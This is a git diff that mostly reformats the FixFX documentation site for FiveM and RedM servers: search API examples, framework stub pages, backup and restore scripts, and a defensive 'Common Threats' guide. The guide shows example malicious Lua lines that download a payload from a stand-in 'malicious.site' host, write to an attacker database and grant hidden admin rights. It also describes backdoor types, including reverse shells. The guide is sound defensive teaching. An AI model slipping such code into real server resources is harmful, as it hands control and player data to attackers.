this.getPopularQueries(); const categoryPrefs = this.getCategoryPreferences(); const trends = this.getSearchTrends(); - - console.log('Search Analytics Report'); - console.log('======================'); + + console.log("Search Analytics Report"); + console.log("======================"); console.log(`Total Searches: ${this.searchHistory.length}`); - console.log(''); - - console.log('Popular Queries:'); + console.log(""); + + console.log("Popular Queries:"); popularQueries.forEach((item, index) => { console.log(`${index + 1}. "${item.query}" (${item.count} searches)`); }); - console.log(''); - - console.log('Category Preferences:'); - categoryPrefs.forEach(item => { - console.log(`- ${item.category}: ${item.count} searches (${item.percentage}%)`); + console.log(""); + + console.log("Category Preferences:"); + categoryPrefs.forEach((item) => { + console.log( + `- ${item.category}: ${item.count} searches (${item.percentage}%)`, + ); }); - console.log(''); - - console.log('Search Trends (Last 7 Days):'); - trends.forEach(item => { + console.log(""); + + console.log("Search Trends (Last 7 Days):"); + trends.forEach((item) => { console.log(`${item.date}: ${item.count} searches`); }); - + return { totalSearches: this.searchHistory.length, popularQueries, categoryPreferences: categoryPrefs, - trends + trends, }; } } @@ -791,18 +826,18 @@ const analytics = new SearchAnalytics(); // Track searches (would be called during actual searches) async function performTrackedSearch(query, category = null) { const response = await fetch( - `https://fixfx.wiki/api/search?q=${encodeURIComponent(query)}&category=${category || ''}` + `https://fixfx.wiki/api/search?q=${encodeURIComponent(query)}&category=${category || ""}`, ); const results = await response.json(); - + analytics.trackSearch(query, results, category); return results; } // Example tracked searches -await performTrackedSearch('ESX player management', 'frameworks'); -await performTrackedSearch('vehicle spawning', 'guides'); -await performTrackedSearch('database setup'); +await performTrackedSearch("ESX player management", "frameworks"); +await performTrackedSearch("vehicle spawning", "guides"); +await performTrackedSearch("database setup"); // Generate report analytics.generateReport(); @@ -816,6 +851,7 @@ analytics.generateReport(); ### Index Coverage The search index includes: + - All documentation pages and sections - Code examples and snippets - API endpoint descriptions @@ -826,6 +862,7 @@ The search index includes: ### Ranking Factors Search results are ranked based on: + 1. **Exact matches** in titles and headings 2. **Term frequency** in content 3. **Content type** (pages ranked higher than fragments) @@ -857,6 +894,7 @@ Standard HTTP status codes: - `500`: Server Error - Search service error Example error response: + ```json { "error": "Invalid query", @@ -897,9 +935,11 @@ For questions about the Search API, please [join our Discord](/discord). We can - Custom search implementations - The Search API is continuously improved based on user search patterns and feedback. + The Search API is continuously improved based on user search patterns and + feedback. - Use category filtering to help users find content faster in specific documentation sections. + Use category filtering to help users find content faster in specific + documentation sections. diff --git a/content/docs/core/disclaimer.mdx b/content/docs/core/disclaimer.mdx index 23fd22c..539f35c 100644 --- a/content/docs/core/disclaimer.mdx +++ b/content/docs/core/disclaimer.mdx @@ -4,11 +4,31 @@ description: FixFX's lack of affiliation with the CitizenFX Collective or Rockst icon: "Gavel" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; FixFX is an independent documentation hub created by the community for the community. It is not associated with or endorsed by the following entities: - + - **CitizenFX Collective**: The creators of FiveM and RedM. - **Rockstar Games**: The creators of Grand Theft Auto V and Red Dead Redemption 2. @@ -22,5 +42,7 @@ FixFX aims to provide accessible and comprehensive documentation for the Citizen All trademarks, logos, and brand names used on this site are the property of their respective owners. Their use does not imply any affiliation or endorsement by these entities. - FixFX is not an official support platform for CitizenFX, FiveM, or RedM. For official support, please refer to the respective platforms' official documentation and forums. + FixFX is not an official support platform for CitizenFX, FiveM, or RedM. For + official support, please refer to the respective platforms' official + documentation and forums. diff --git a/content/docs/core/faq.mdx b/content/docs/core/faq.mdx index dcf818d..c27fed3 100644 --- a/content/docs/core/faq.mdx +++ b/content/docs/core/faq.mdx @@ -4,38 +4,61 @@ description: Answers to common questions about FixFX. icon: "Info" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - If you have additional questions, feel free to reach out to us via our GitHub repository or community forums. + If you have additional questions, feel free to reach out to us via our GitHub + repository or community forums. diff --git a/content/docs/core/glossary.mdx b/content/docs/core/glossary.mdx index 7c21ede..3ed2d0d 100644 --- a/content/docs/core/glossary.mdx +++ b/content/docs/core/glossary.mdx @@ -4,54 +4,81 @@ description: Definitions of common terms and acronyms in the CitizenFX ecosystem icon: "Book" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - This glossary is continuously updated to include new terms and acronyms as the CitizenFX ecosystem evolves. + This glossary is continuously updated to include new terms and acronyms as the + CitizenFX ecosystem evolves. diff --git a/content/docs/core/index.mdx b/content/docs/core/index.mdx index 64354bb..401bf32 100644 --- a/content/docs/core/index.mdx +++ b/content/docs/core/index.mdx @@ -5,17 +5,41 @@ icon: "ChevronRight" --- import { FixFXIcon, GithubIcon } from "@ui/icons"; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from "@ui/components/mdx-components"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; FixFX is your go-to resource for everything CitizenFX, FiveM, and RedM. Whether you're a server owner, developer, or player, FixFX provides the tools and knowledge you need to thrive in the CitizenFX ecosystem. - + # What is FixFX? FixFX is a centralized documentation hub for the CitizenFX ecosystem. It offers comprehensive guides, troubleshooting tips, and best practices for server management, framework integration, and resource development. - + # Why Choose FixFX? @@ -23,28 +47,33 @@ FixFX is a centralized documentation hub for the CitizenFX ecosystem. It offers features={[ { title: "Comprehensive Documentation", - description: "Covering everything from server setup to advanced scripting." + description: + "Covering everything from server setup to advanced scripting.", }, { title: "Troubleshooting Guides", - description: "Solutions for common errors, crashes, and client/server issues." + description: + "Solutions for common errors, crashes, and client/server issues.", }, { title: "Framework Integration", - description: "Guides for ESX, QBCore, vRP, and other popular frameworks." + description: "Guides for ESX, QBCore, vRP, and other popular frameworks.", }, { title: "Server Management", - description: "Best practices for hosting and optimizing your CitizenFX server." + description: + "Best practices for hosting and optimizing your CitizenFX server.", }, { title: "Community Resources", - description: "Curated tools, scripts, and resources to enhance your projects." + description: + "Curated tools, scripts, and resources to enhance your projects.", }, { title: "Modern Platform", - description: "Built with latest technologies for fast, responsive documentation." - } + description: + "Built with latest technologies for fast, responsive documentation.", + }, ]} columns={2} /> diff --git a/content/docs/core/meta.json b/content/docs/core/meta.json index 46258c5..dcad15d 100644 --- a/content/docs/core/meta.json +++ b/content/docs/core/meta.json @@ -1,9 +1,4 @@ { "root": true, - "pages": [ - "api", - "disclaimer", - "glossary", - "faq" - ] -} \ No newline at end of file + "pages": ["api", "disclaimer", "glossary", "faq"] +} diff --git a/content/docs/frameworks/esx/development.mdx b/content/docs/frameworks/esx/development.mdx index 5ac14b3..2b43a38 100644 --- a/content/docs/frameworks/esx/development.mdx +++ b/content/docs/frameworks/esx/development.mdx @@ -4,8 +4,9 @@ description: Complete guide to developing resources for ESX framework. icon: "Code" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full ESX documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full ESX documentation done as soon as + possible! + diff --git a/content/docs/frameworks/esx/index.mdx b/content/docs/frameworks/esx/index.mdx index d7648da..52642d5 100644 --- a/content/docs/frameworks/esx/index.mdx +++ b/content/docs/frameworks/esx/index.mdx @@ -4,8 +4,9 @@ description: The ESX framework for FiveM servers. icon: "Package" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full ESX documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full ESX documentation done as soon as + possible! + diff --git a/content/docs/frameworks/esx/meta.json b/content/docs/frameworks/esx/meta.json index 0a657f9..d966dfd 100644 --- a/content/docs/frameworks/esx/meta.json +++ b/content/docs/frameworks/esx/meta.json @@ -1,9 +1,5 @@ { - "title": "ESX", - "defaultOpen": true, - "pages": [ - "setup", - "development", - "troubleshooting" - ] -} \ No newline at end of file + "title": "ESX", + "defaultOpen": true, + "pages": ["setup", "development", "troubleshooting"] +} diff --git a/content/docs/frameworks/esx/setup.mdx b/content/docs/frameworks/esx/setup.mdx index f3519cd..42a3459 100644 --- a/content/docs/frameworks/esx/setup.mdx +++ b/content/docs/frameworks/esx/setup.mdx @@ -4,8 +4,9 @@ description: Complete guide to setting up and installing ESX framework. icon: "Download" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full ESX documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full ESX documentation done as soon as + possible! + diff --git a/content/docs/frameworks/esx/troubleshooting.mdx b/content/docs/frameworks/esx/troubleshooting.mdx index 5017de0..f5c35a8 100644 --- a/content/docs/frameworks/esx/troubleshooting.mdx +++ b/content/docs/frameworks/esx/troubleshooting.mdx @@ -4,8 +4,9 @@ description: Common issues and solutions for ESX framework. icon: "Bug" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full ESX documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full ESX documentation done as soon as + possible! + diff --git a/content/docs/frameworks/index.mdx b/content/docs/frameworks/index.mdx index 8952117..7a3631d 100644 --- a/content/docs/frameworks/index.mdx +++ b/content/docs/frameworks/index.mdx @@ -4,7 +4,23 @@ description: An overview of popular frameworks used in FiveM development. icon: "LayersUnion" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; # Frameworks Overview @@ -14,11 +30,13 @@ FiveM supports various frameworks that provide structure, tools, and resources f - The most widely used framework for FiveM, providing a complete roleplay foundation with modern updates. + The most widely used framework for FiveM, providing a complete roleplay + foundation with modern updates. - + - A modern, modular framework with extensive features and flexibility for roleplay servers. + A modern, modular framework with extensive features and flexibility for + roleplay servers. @@ -30,24 +48,26 @@ When selecting a framework for your FiveM server, consider: features={[ { title: "Community Support", - description: "Larger communities typically mean more resources and faster support" + description: + "Larger communities typically mean more resources and faster support", }, { title: "Documentation", - description: "Well-documented frameworks are easier to learn and extend" + description: "Well-documented frameworks are easier to learn and extend", }, { title: "Performance", - description: "Some frameworks are more optimized than others" + description: "Some frameworks are more optimized than others", }, { title: "Features", - description: "Different frameworks excel in different areas" + description: "Different frameworks excel in different areas", }, { title: "Development Activity", - description: "Active development means bugs are fixed and features are added" - } + description: + "Active development means bugs are fixed and features are added", + }, ]} columns={2} /> @@ -62,7 +82,7 @@ Most FiveM frameworks include: "Database Integration - For persistent data storage", "UI Components - For user interaction", "Resource Management - For handling server resources", - "API - For extending functionality" + "API - For extending functionality", ]} variant="check" /> @@ -75,15 +95,17 @@ Most FiveM frameworks include: "Respect Dependencies - Understand resource dependencies", "Maintain Compatibility - Test thoroughly when upgrading", "Contribute - Report bugs and contribute improvements", - "Share Knowledge - Document your solutions for others" + "Share Knowledge - Document your solutions for others", ]} variant="check" /> - This section provides guides for the most popular frameworks, but many of the concepts are transferable between frameworks. + This section provides guides for the most popular frameworks, but many of the + concepts are transferable between frameworks. - Mixing frameworks can cause conflicts. It's generally best to stick with one primary framework for your server. - \ No newline at end of file + Mixing frameworks can cause conflicts. It's generally best to stick with one + primary framework for your server. + diff --git a/content/docs/frameworks/meta.json b/content/docs/frameworks/meta.json index e123220..cef9b8b 100644 --- a/content/docs/frameworks/meta.json +++ b/content/docs/frameworks/meta.json @@ -1,7 +1,4 @@ { - "root": true, - "pages": [ - "esx", - "qbcore" - ] -} \ No newline at end of file + "root": true, + "pages": ["esx", "qbcore"] +} diff --git a/content/docs/frameworks/qbcore/development.mdx b/content/docs/frameworks/qbcore/development.mdx index 3f0b139..da61896 100644 --- a/content/docs/frameworks/qbcore/development.mdx +++ b/content/docs/frameworks/qbcore/development.mdx @@ -4,8 +4,9 @@ description: Complete guide to developing resources for QBCore framework. icon: "Code" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full qbCore documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full qbCore documentation done as soon as + possible! + diff --git a/content/docs/frameworks/qbcore/index.mdx b/content/docs/frameworks/qbcore/index.mdx index a40ec83..3fed1f9 100644 --- a/content/docs/frameworks/qbcore/index.mdx +++ b/content/docs/frameworks/qbcore/index.mdx @@ -4,8 +4,9 @@ description: A comprehensive guide to using and developing for the QBCore framew icon: "Component" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full qbCore documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full qbCore documentation done as soon as + possible! + diff --git a/content/docs/frameworks/qbcore/meta.json b/content/docs/frameworks/qbcore/meta.json index 0397731..9beb7ed 100644 --- a/content/docs/frameworks/qbcore/meta.json +++ b/content/docs/frameworks/qbcore/meta.json @@ -1,9 +1,5 @@ { - "title": "QBCore", - "defaultOpen": true, - "pages": [ - "setup", - "development", - "troubleshooting" - ] + "title": "QBCore", + "defaultOpen": true, + "pages": ["setup", "development", "troubleshooting"] } diff --git a/content/docs/frameworks/qbcore/setup.mdx b/content/docs/frameworks/qbcore/setup.mdx index 70d8c7d..4edb7a3 100644 --- a/content/docs/frameworks/qbcore/setup.mdx +++ b/content/docs/frameworks/qbcore/setup.mdx @@ -4,8 +4,9 @@ description: Complete guide to setting up and installing QBCore framework. icon: "Download" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full qbCore documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full qbCore documentation done as soon as + possible! + diff --git a/content/docs/frameworks/qbcore/troubleshooting.mdx b/content/docs/frameworks/qbcore/troubleshooting.mdx index e7f06dd..c0f1cd8 100644 --- a/content/docs/frameworks/qbcore/troubleshooting.mdx +++ b/content/docs/frameworks/qbcore/troubleshooting.mdx @@ -4,8 +4,9 @@ description: Common issues and solutions for QBCore framework. icon: "Bug" --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full qbCore documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full qbCore documentation done as soon as + possible! + diff --git a/content/docs/guides/backup-recovery.mdx b/content/docs/guides/backup-recovery.mdx index fa56180..581137d 100644 --- a/content/docs/guides/backup-recovery.mdx +++ b/content/docs/guides/backup-recovery.mdx @@ -4,37 +4,59 @@ description: Complete guide to backing up and recovering FiveM server data and c icon: "HardDrive" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; A comprehensive backup and recovery strategy is essential for any FiveM server. This guide covers everything from basic backup procedures to advanced disaster recovery planning. ## Understanding What to Backup - + ### Critical Data Categories - + **Server Files** + - Server executable and artifacts - Configuration files (server.cfg) - Resource files and configurations - Custom scripts and modifications **Database** + - Player data and statistics - Vehicle ownership records - Property and housing data @@ -42,6 +64,7 @@ A comprehensive backup and recovery strategy is essential for any FiveM server. - Logs and transaction history **Runtime Data** + - Current server state - Player sessions - Dynamic configurations @@ -50,18 +73,21 @@ A comprehensive backup and recovery strategy is essential for any FiveM server. ### Backup Priority Levels **Priority 1 - Critical (Daily)** + - Database (complete) - server.cfg - Custom resource configurations - Player data **Priority 2 - Important (Weekly)** + - All resources - Server artifacts - Log files - Map files and assets **Priority 3 - Nice to Have (Monthly)** + - Cache directories - Temporary files - Old log archives @@ -110,21 +136,21 @@ if mysqldump -h"$DB_HOST" -u"$DB_USER" -p"$DB_PASS" \ --hex-blob \ --default-character-set=utf8mb4 \ "$DB_NAME" > "$BACKUP_FILE"; then - + log "Database backup created: $BACKUP_FILE" - + # Compress backup if [ "$COMPRESS" = true ]; then gzip "$BACKUP_FILE" BACKUP_FILE="$BACKUP_FILE.gz" log "Backup compressed: $BACKUP_FILE" fi - + # Verify backup if [ -f "$BACKUP_FILE" ] && [ -s "$BACKUP_FILE" ]; then BACKUP_SIZE=$(du -h "$BACKUP_FILE" | cut -f1) log "Backup completed successfully. Size: $BACKUP_SIZE" - + # Send Discord notification if [ -n "$DISCORD_WEBHOOK" ]; then curl -H "Content-Type: application/json" \ @@ -198,12 +224,12 @@ try { "--default-character-set=utf8mb4", $DBName ) - + $Process = Start-Process -FilePath "mysqldump" -ArgumentList $Arguments -RedirectStandardOutput $BackupFile -Wait -PassThru -NoNewWindow - + if ($Process.ExitCode -eq 0) { Write-Log "Database backup created: $BackupFile" - + # Compress backup if ($Compress) { Compress-Archive -Path $BackupFile -DestinationPath "$BackupFile.zip" @@ -211,7 +237,7 @@ try { $BackupFile = "$BackupFile.zip" Write-Log "Backup compressed: $BackupFile" } - + # Verify backup if (Test-Path $BackupFile) { $BackupSize = (Get-Item $BackupFile).Length / 1MB @@ -222,17 +248,17 @@ try { } else { throw "mysqldump failed with exit code: $($Process.ExitCode)" } - + # Cleanup old backups $OldBackups = Get-ChildItem -Path $BackupDir -Name "fivem_db_*" | Where-Object { $_.CreationTime -lt (Get-Date).AddDays(-$RetentionDays) } foreach ($OldBackup in $OldBackups) { Remove-Item (Join-Path $BackupDir $OldBackup) } - + if ($OldBackups.Count -gt 0) { Write-Log "Deleted $($OldBackups.Count) old backup files" } - + Write-Log "Backup process completed successfully" } catch { @@ -390,10 +416,10 @@ for pattern in "${CUSTOM_RESOURCES[@]}"; do if [ -d "$resource" ]; then RESOURCE_NAME=$(basename "$resource") echo "Backing up resource: $RESOURCE_NAME" - + # Create resource backup tar -czf "$BACKUP_DIR/$TIMESTAMP/${RESOURCE_NAME}.tar.gz" -C "$RESOURCES_DIR" "$RESOURCE_NAME" - + # Extract configuration for quick reference if [ -f "$resource/config.lua" ]; then cp "$resource/config.lua" "$BACKUP_DIR/$TIMESTAMP/${RESOURCE_NAME}_config.lua" @@ -507,7 +533,7 @@ sudo systemctl list-timers | grep fivem ```yaml # docker-compose.backup.yml -version: '3.8' +version: "3.8" services: fivem-backup: @@ -720,27 +746,27 @@ systemctl stop fivem case "${RESTORE_TYPE:-full}" in "full") echo "Performing full server restore..." - + # Create safety backup SAFETY_DIR="/tmp/server_safety_$(date +%Y%m%d_%H%M%S)" mv "$SERVER_DIR" "$SAFETY_DIR" echo "Current server backed up to: $SAFETY_DIR" - + # Extract full backup mkdir -p "$SERVER_DIR" tar -xzf "$BACKUP_PATH/server_files.tar.gz" -C "$(dirname $SERVER_DIR)" - + ;; - + "config") echo "Restoring configuration files..." cp "$BACKUP_PATH/server.cfg" "$SERVER_DIR/" - + if [ -d "$BACKUP_PATH/resources_config" ]; then cp -r "$BACKUP_PATH/resources_config"/* "$SERVER_DIR/resources/" fi ;; - + "resources") echo "Restoring resources..." if [ -d "$BACKUP_PATH/resources_config" ]; then @@ -748,7 +774,7 @@ case "${RESTORE_TYPE:-full}" in cp -r "$BACKUP_PATH/resources_config" "$SERVER_DIR/resources" fi ;; - + *) echo "Invalid restore type: $RESTORE_TYPE" exit 1 @@ -781,36 +807,36 @@ RTO_NORMAL=240 # minutes - Normal operations # Recovery procedures by priority critical_recovery() { echo "CRITICAL RECOVERY - RTO: $RTO_CRITICAL minutes" - + # 1. Restore database from latest backup (5 min) restore_database.sh /backups/database/latest.sql.gz - + # 2. Start server with minimal configuration (2 min) start_minimal_server.sh - + # 3. Verify basic functionality (5 min) verify_server_health.sh - + # 4. Enable essential resources only (3 min) enable_essential_resources.sh } important_recovery() { echo "IMPORTANT RECOVERY - RTO: $RTO_IMPORTANT minutes" - + # 1. Restore full server configuration (20 min) restore_server.sh /backups/server/latest full - + # 2. Restore all resources (20 min) restore_resources.sh - + # 3. Full system verification (20 min) full_system_test.sh } normal_recovery() { echo "NORMAL RECOVERY - RTO: $RTO_NORMAL minutes" - + # 1. Restore from backup with full verification # 2. Apply any missing updates # 3. Restore custom configurations @@ -831,14 +857,14 @@ DISCORD_WEBHOOK="https://discord.com/api/webhooks/..." check_backup_health() { local status="OK" local issues=() - + # Check if backups are current (within 25 hours) LATEST_DB_BACKUP=$(find "$BACKUP_DIR/database" -name "*.sql*" -mtime -1 | head -1) if [ -z "$LATEST_DB_BACKUP" ]; then issues+=("Database backup is outdated (>24h)") status="WARNING" fi - + # Check backup sizes (detect corruption) if [ -n "$LATEST_DB_BACKUP" ]; then BACKUP_SIZE=$(stat -c%s "$LATEST_DB_BACKUP") @@ -847,19 +873,19 @@ check_backup_health() { status="ERROR" fi fi - + # Check disk space BACKUP_DISK_USAGE=$(df "$BACKUP_DIR" | awk 'NR==2 {print $5}' | sed 's/%//') if [ "$BACKUP_DISK_USAGE" -gt 90 ]; then issues+=("Backup disk usage critical: ${BACKUP_DISK_USAGE}%") status="ERROR" fi - + # Send alerts if issues found if [ ${#issues[@]} -gt 0 ]; then send_alert "$status" "${issues[@]}" fi - + echo "Backup health check: $status" for issue in "${issues[@]}"; do echo " - $issue" @@ -870,12 +896,12 @@ send_alert() { local status="$1" shift local issues=("$@") - + local message="🚨 Backup Alert - $status\n\n" for issue in "${issues[@]}"; do message+="• $issue\n" done - + # Discord notification if [ -n "$DISCORD_WEBHOOK" ]; then curl -H "Content-Type: application/json" \ @@ -883,7 +909,7 @@ send_alert() { -d "{\"content\": \"$message\"}" \ "$DISCORD_WEBHOOK" fi - + # Email notification if [ -n "$ALERT_EMAIL" ]; then echo -e "$message" | mail -s "FiveM Backup Alert - $status" "$ALERT_EMAIL" diff --git a/content/docs/guides/common-threats.mdx b/content/docs/guides/common-threats.mdx index a79e67c..1265e3b 100644 --- a/content/docs/guides/common-threats.mdx +++ b/content/docs/guides/common-threats.mdx @@ -3,7 +3,15 @@ title: Common Threats description: Comprehensive guide to malicious users, backdoors, and attacks targeting FiveM and RedM servers. Learn how to identify, prevent, and remediate security threats. --- -import { TroubleshootingCard, StepList, InfoBanner, DefinitionList, ActionTable, CheckList, CategoryGrid } from '@ui/components/mdx-components' +import { + TroubleshootingCard, + StepList, + InfoBanner, + DefinitionList, + ActionTable, + CheckList, + CategoryGrid, +} from "@ui/components/mdx-components"; ## Introduction @@ -79,25 +87,30 @@ Finding malicious code before it compromises your server requires vigilance and steps={[ { title: "Code Review Everything", - description: "Before deploying any resource, read the code. Yes, all of it. This is tedious but necessary. Look for suspicious patterns: connecting to external databases, downloading code from remote servers, creating hidden admin accounts, or accessing areas of the code that seem unrelated to the resource's stated purpose.", - code: "-- Suspicious: Resource connects to external database\nMySQL.query('INSERT INTO attacker_database.players ...')\n\n-- Suspicious: Resource downloads and executes code\nDownloadString('http://malicious.site/payload.lua')\n\n-- Suspicious: Hidden admin grant\nif GetPlayerIdentifier(source) == 'license:deadbeef' then\n grantAdmin(source)\nend" + description: + "Before deploying any resource, read the code. Yes, all of it. This is tedious but necessary. Look for suspicious patterns: connecting to external databases, downloading code from remote servers, creating hidden admin accounts, or accessing areas of the code that seem unrelated to the resource's stated purpose.", + code: "-- Suspicious: Resource connects to external database\nMySQL.query('INSERT INTO attacker_database.players ...')\n\n-- Suspicious: Resource downloads and executes code\nDownloadString('http://malicious.site/payload.lua')\n\n-- Suspicious: Hidden admin grant\nif GetPlayerIdentifier(source) == 'license:deadbeef' then\n grantAdmin(source)\nend", }, { title: "Verify Source Authenticity", - description: "If obtaining a resource from a developer or marketplace, verify it comes from the claimed source. Check GitHub commits, contact the developer directly, and verify PGP signatures if provided. A resource claiming to be from a well-known developer but hosted on an obscure link should raise red flags.", + description: + "If obtaining a resource from a developer or marketplace, verify it comes from the claimed source. Check GitHub commits, contact the developer directly, and verify PGP signatures if provided. A resource claiming to be from a well-known developer but hosted on an obscure link should raise red flags.", }, { title: "Monitor for Unexpected Network Activity", - description: "Use network monitoring tools to see what your server is communicating with. Establish a baseline of normal traffic (CDN requests, API calls to expected services) then look for anomalies. A resource connecting to IP addresses in suspicious geographies or communicating on unusual ports deserves investigation.", + description: + "Use network monitoring tools to see what your server is communicating with. Establish a baseline of normal traffic (CDN requests, API calls to expected services) then look for anomalies. A resource connecting to IP addresses in suspicious geographies or communicating on unusual ports deserves investigation.", }, { title: "Check Resource Permissions and Capabilities", - description: "FiveM allows resources to declare what capabilities they need. Review the fxmanifest.lua file and understand what permissions each resource requests. A player cosmetics resource shouldn't need database access. A whitelist manager shouldn't need to download external code.", - code: "-- fxmanifest.lua\nfx_version 'cerulean'\ngame 'gta5'\n\nauthor 'Developer'\ndescription 'Example Resource'\nversion '1.0.0'\n\nserver_scripts {\n 'server/main.lua'\n}\n\ndependencies {\n 'mysql-async'\n}\n\nprovide_account_balance = true -- What is this resource accessing?" + description: + "FiveM allows resources to declare what capabilities they need. Review the fxmanifest.lua file and understand what permissions each resource requests. A player cosmetics resource shouldn't need database access. A whitelist manager shouldn't need to download external code.", + code: "-- fxmanifest.lua\nfx_version 'cerulean'\ngame 'gta5'\n\nauthor 'Developer'\ndescription 'Example Resource'\nversion '1.0.0'\n\nserver_scripts {\n 'server/main.lua'\n}\n\ndependencies {\n 'mysql-async'\n}\n\nprovide_account_balance = true -- What is this resource accessing?", }, { title: "Keep Resources Updated", - description: "Maintain an inventory of every resource on your server and track their versions. When updates are available, review the changelog before updating. If a resource suddenly pushes a major update, investigate why. Legitimate updates typically have documented reasons.", + description: + "Maintain an inventory of every resource on your server and track their versions. When updates are available, review the changelog before updating. If a resource suddenly pushes a major update, investigate why. Legitimate updates typically have documented reasons.", }, ]} /> @@ -112,28 +125,34 @@ A backdoor is a hidden entry point into your server that allows an attacker to m items={[ { term: "Database Backdoors", - description: "The attacker creates database accounts with non-obvious names (like 'backup_user' or 'maintenance_service') with strong passwords only they know. Even if you update your main database password, this account remains. They can access, modify, or exfiltrate data at will. Detection requires auditing all database accounts and their access logs." + description: + "The attacker creates database accounts with non-obvious names (like 'backup_user' or 'maintenance_service') with strong passwords only they know. Even if you update your main database password, this account remains. They can access, modify, or exfiltrate data at will. Detection requires auditing all database accounts and their access logs.", }, { term: "File System Backdoors", - description: "The attacker places files in obscure locations that auto-execute when the server starts. A file named something innocuous in a resource's data folder that runs initialization code. A modified startup script that loads additional resources before the normal startup sequence. These survive resource updates because they exist outside the resource directories." + description: + "The attacker places files in obscure locations that auto-execute when the server starts. A file named something innocuous in a resource's data folder that runs initialization code. A modified startup script that loads additional resources before the normal startup sequence. These survive resource updates because they exist outside the resource directories.", }, { term: "Resource Backdoors", - description: "A malicious resource is packaged with your legitimate resources. It might be named something that suggests it's part of the framework (like 'core-utilities' or 'framework-extension') making admins assume it's supposed to be there. The resource only activates under certain conditions (specific times, specific player IDs, or specific commands) so it doesn't trigger alarms during normal use." + description: + "A malicious resource is packaged with your legitimate resources. It might be named something that suggests it's part of the framework (like 'core-utilities' or 'framework-extension') making admins assume it's supposed to be there. The resource only activates under certain conditions (specific times, specific player IDs, or specific commands) so it doesn't trigger alarms during normal use.", }, { term: "Admin Account Backdoors", - description: "Hidden admin accounts are created with non-obvious identifiers. A Discord ID of an admin that seems high and random. A Steam ID that appears to be from nowhere. These accounts have full admin permissions but don't appear in normal admin listings because they're added through database manipulation rather than admin configuration files." + description: + "Hidden admin accounts are created with non-obvious identifiers. A Discord ID of an admin that seems high and random. A Steam ID that appears to be from nowhere. These accounts have full admin permissions but don't appear in normal admin listings because they're added through database manipulation rather than admin configuration files.", }, { term: "Reverse Shell Backdoors", - description: "The attacker establishes an outbound connection from your server to their machine, giving them remote command execution. This is particularly dangerous on Windows servers where the attacker could execute PowerShell commands or on Linux servers where they could execute bash. The connection often uses encrypted channels (SSH tunnels or encrypted HTTP) to avoid detection." + description: + "The attacker establishes an outbound connection from your server to their 